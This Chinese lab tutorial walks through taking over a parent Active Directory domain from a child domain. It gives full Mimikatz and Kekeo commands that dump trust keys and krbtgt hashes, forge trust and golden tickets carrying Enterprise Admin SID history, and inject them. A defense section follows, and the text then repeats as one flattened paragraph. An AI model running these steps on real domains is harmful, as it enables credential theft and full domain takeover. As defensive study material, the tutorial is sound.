跨域攻击分析和防御(中)
字数 1548 2025-08-19 12:42:32

跨域攻击分析与防御:利用域信任密钥和krbtgt哈希获取目标域权限

1. 实验环境搭建

1.1 域林信任环境配置

实验环境搭建了一个典型的域林内信任关系,具体配置如下:

  • 父域域控:dc.test.com (Windows Server 2008 R2)
  • 子域域控:subdc.test.com (Windows Server 2012 R2)
  • 子域内计算机:pc.sub.test.com (Windows 7)
  • 子域内普通用户:sub\test

2. 利用域信任密钥获取目标域权限

2.1 工具准备

需要下载以下两个关键工具:

2.2 信息收集阶段

在子域域控(subdc.test.com)上使用Mimikatz获取必要信息:

Mimikatz.exe privilege::debug "lsadump::lsa /patch /user:test$" "lsadump::trust /patch" exit

执行结果包含三个关键信息:

  1. 当前域的SID
  2. 目标域的SID
  3. 域间信任密钥(可使用两种方法获取,任选其一即可)

2.3 创建伪造信任票证

使用Mimikatz创建伪造的信任票证:

Mimikatz "Kerberos::golden /domain:sub.test.com /sid:S-1-5-21-760703389-4049654021-3164156691 /sids:S-1-5-21-1768352640-692844612-1315714220-519 /rc4:e7f934e89f77e079121b848b8628c347 /user:DarthVader /service:krbtgt /target:test.com /ticket:test.kirbi" exit

参数说明:

  • domain:当前域名
  • sid:当前域的SID
  • sids:目标域的SID-519(表示伪造用户属于目标域企业管理员组)
  • rc4:信任密钥
  • user:伪造的用户名
  • service:需要访问的目标服务
  • target:目标域名
  • ticket:保存票据的文件名

2.4 获取目标服务TGS票据

使用Kekeo获取目标域中目标服务的TGS并保存:

Asktgs test.kirbi CIFS/DC.test.com

2.5 注入TGS票据到内存

将获取到的TGS票据注入到内存:

Kirbikator lsa CIFS.DC.test.com.kirbi

2.6 验证权限

验证是否成功获取目标域权限:

dir \\dc.test.com\C$

3. 利用krbtgt哈希获取目标域权限

3.1 获取域SID信息

使用PowerView获取当前域和目标域的SID:

常用获取域用户SID方法:

  • wmic useraccount get name,sid
  • whoami /user
  • adfind.exe -sc u:test|findstr sid
  • PowerView工具

3.2 获取krbtgt哈希

在域控上使用Mimikatz获取krbtgt哈希(两种方法任选其一):

方法1:

mimikatz.exe privilege::debug "lsadump::lsa /patch /user:krbtgt" sekurlsa::krbtgt exit

方法2:

sekurlsa::krbtgt

3.3 构造并注入黄金票据

在子域内计算机(pc.sub.test.com)上使用普通用户权限构造黄金票据:

Mimikatz "Kerberos::golden /user:Administrator /domain:sub.test.com /sid:S-1-5-21-760703389-4049654021-3164156691 /sids:S-1-5-21-1768352640-692844612-1315714220-519 /krbtgt:7ca9fc3b5aa4776f017bfc29649b36f5 /ptt" exit

参数说明:

  • user:伪造的用户名
  • domain:当前域名
  • sid:当前域的SID
  • sids:目标域的SID-519(表示伪造用户属于目标域企业管理员组)
  • krbtgt:krbtgt哈希
  • ptt:将票据注入到内存中

3.4 验证权限

验证是否成功获取目标域权限:

dir \\dc.test.com\C$

4. 防御措施

  1. 监控异常Kerberos活动:检测异常的TGT/TGS请求和票据使用
  2. 保护krbtgt账户:定期更改krbtgt账户密码(至少每180天一次)
  3. 限制域信任关系:最小化域间信任关系,使用选择性认证
  4. 启用SID过滤:在信任关系中启用SID过滤防止SID历史攻击
  5. 监控特权账户活动:特别关注企业管理员组的活动
  6. 实施LSA保护:防止凭据转储
  7. 限制域控制器访问:严格控制对域控制器的物理和网络访问
  8. 启用高级审计策略:配置Kerberos服务票证操作审计

5. 关键点总结

  1. 域信任密钥和krbtgt哈希是跨域攻击的两个关键突破口
  2. SID历史(SID History)特性可被滥用来提升权限
  3. 攻击可在普通域用户权限下完成,不需要初始高权限
  4. 攻击链涉及信息收集、票据伪造、票据注入和权限验证四个阶段
  5. 整个攻击过程完全基于Kerberos协议特性,不依赖漏洞利用
跨域攻击分析与防御:利用域信任密钥和krbtgt哈希获取目标域权限 1. 实验环境搭建 1.1 域林信任环境配置 实验环境搭建了一个典型的域林内信任关系,具体配置如下: 父域域控 :dc.test.com (Windows Server 2008 R2) 子域域控 :subdc.test.com (Windows Server 2012 R2) 子域内计算机 :pc.sub.test.com (Windows 7) 子域内普通用户 :sub\test 2. 利用域信任密钥获取目标域权限 2.1 工具准备 需要下载以下两个关键工具: Mimikatz : https://github.com/gentilkiwi/mimikatz Kekeo : https://github.com/gentilkiwi/kekeo 2.2 信息收集阶段 在子域域控(subdc.test.com)上使用Mimikatz获取必要信息: 执行结果包含三个关键信息: 当前域的SID 目标域的SID 域间信任密钥(可使用两种方法获取,任选其一即可) 2.3 创建伪造信任票证 使用Mimikatz创建伪造的信任票证: 参数说明: domain :当前域名 sid :当前域的SID sids :目标域的SID-519(表示伪造用户属于目标域企业管理员组) rc4 :信任密钥 user :伪造的用户名 service :需要访问的目标服务 target :目标域名 ticket :保存票据的文件名 2.4 获取目标服务TGS票据 使用Kekeo获取目标域中目标服务的TGS并保存: 2.5 注入TGS票据到内存 将获取到的TGS票据注入到内存: 2.6 验证权限 验证是否成功获取目标域权限: 3. 利用krbtgt哈希获取目标域权限 3.1 获取域SID信息 使用PowerView获取当前域和目标域的SID: 常用获取域用户SID方法: wmic useraccount get name,sid whoami /user adfind.exe -sc u:test|findstr sid PowerView工具 3.2 获取krbtgt哈希 在域控上使用Mimikatz获取krbtgt哈希(两种方法任选其一): 方法1: 方法2: 3.3 构造并注入黄金票据 在子域内计算机(pc.sub.test.com)上使用普通用户权限构造黄金票据: 参数说明: user :伪造的用户名 domain :当前域名 sid :当前域的SID sids :目标域的SID-519(表示伪造用户属于目标域企业管理员组) krbtgt :krbtgt哈希 ptt :将票据注入到内存中 3.4 验证权限 验证是否成功获取目标域权限: 4. 防御措施 监控异常Kerberos活动 :检测异常的TGT/TGS请求和票据使用 保护krbtgt账户 :定期更改krbtgt账户密码(至少每180天一次) 限制域信任关系 :最小化域间信任关系,使用选择性认证 启用SID过滤 :在信任关系中启用SID过滤防止SID历史攻击 监控特权账户活动 :特别关注企业管理员组的活动 实施LSA保护 :防止凭据转储 限制域控制器访问 :严格控制对域控制器的物理和网络访问 启用高级审计策略 :配置Kerberos服务票证操作审计 5. 关键点总结 域信任密钥和krbtgt哈希是跨域攻击的两个关键突破口 SID历史(SID History)特性可被滥用来提升权限 攻击可在普通域用户权限下完成,不需要初始高权限 攻击链涉及信息收集、票据伪造、票据注入和权限验证四个阶段 整个攻击过程完全基于Kerberos协议特性,不依赖漏洞利用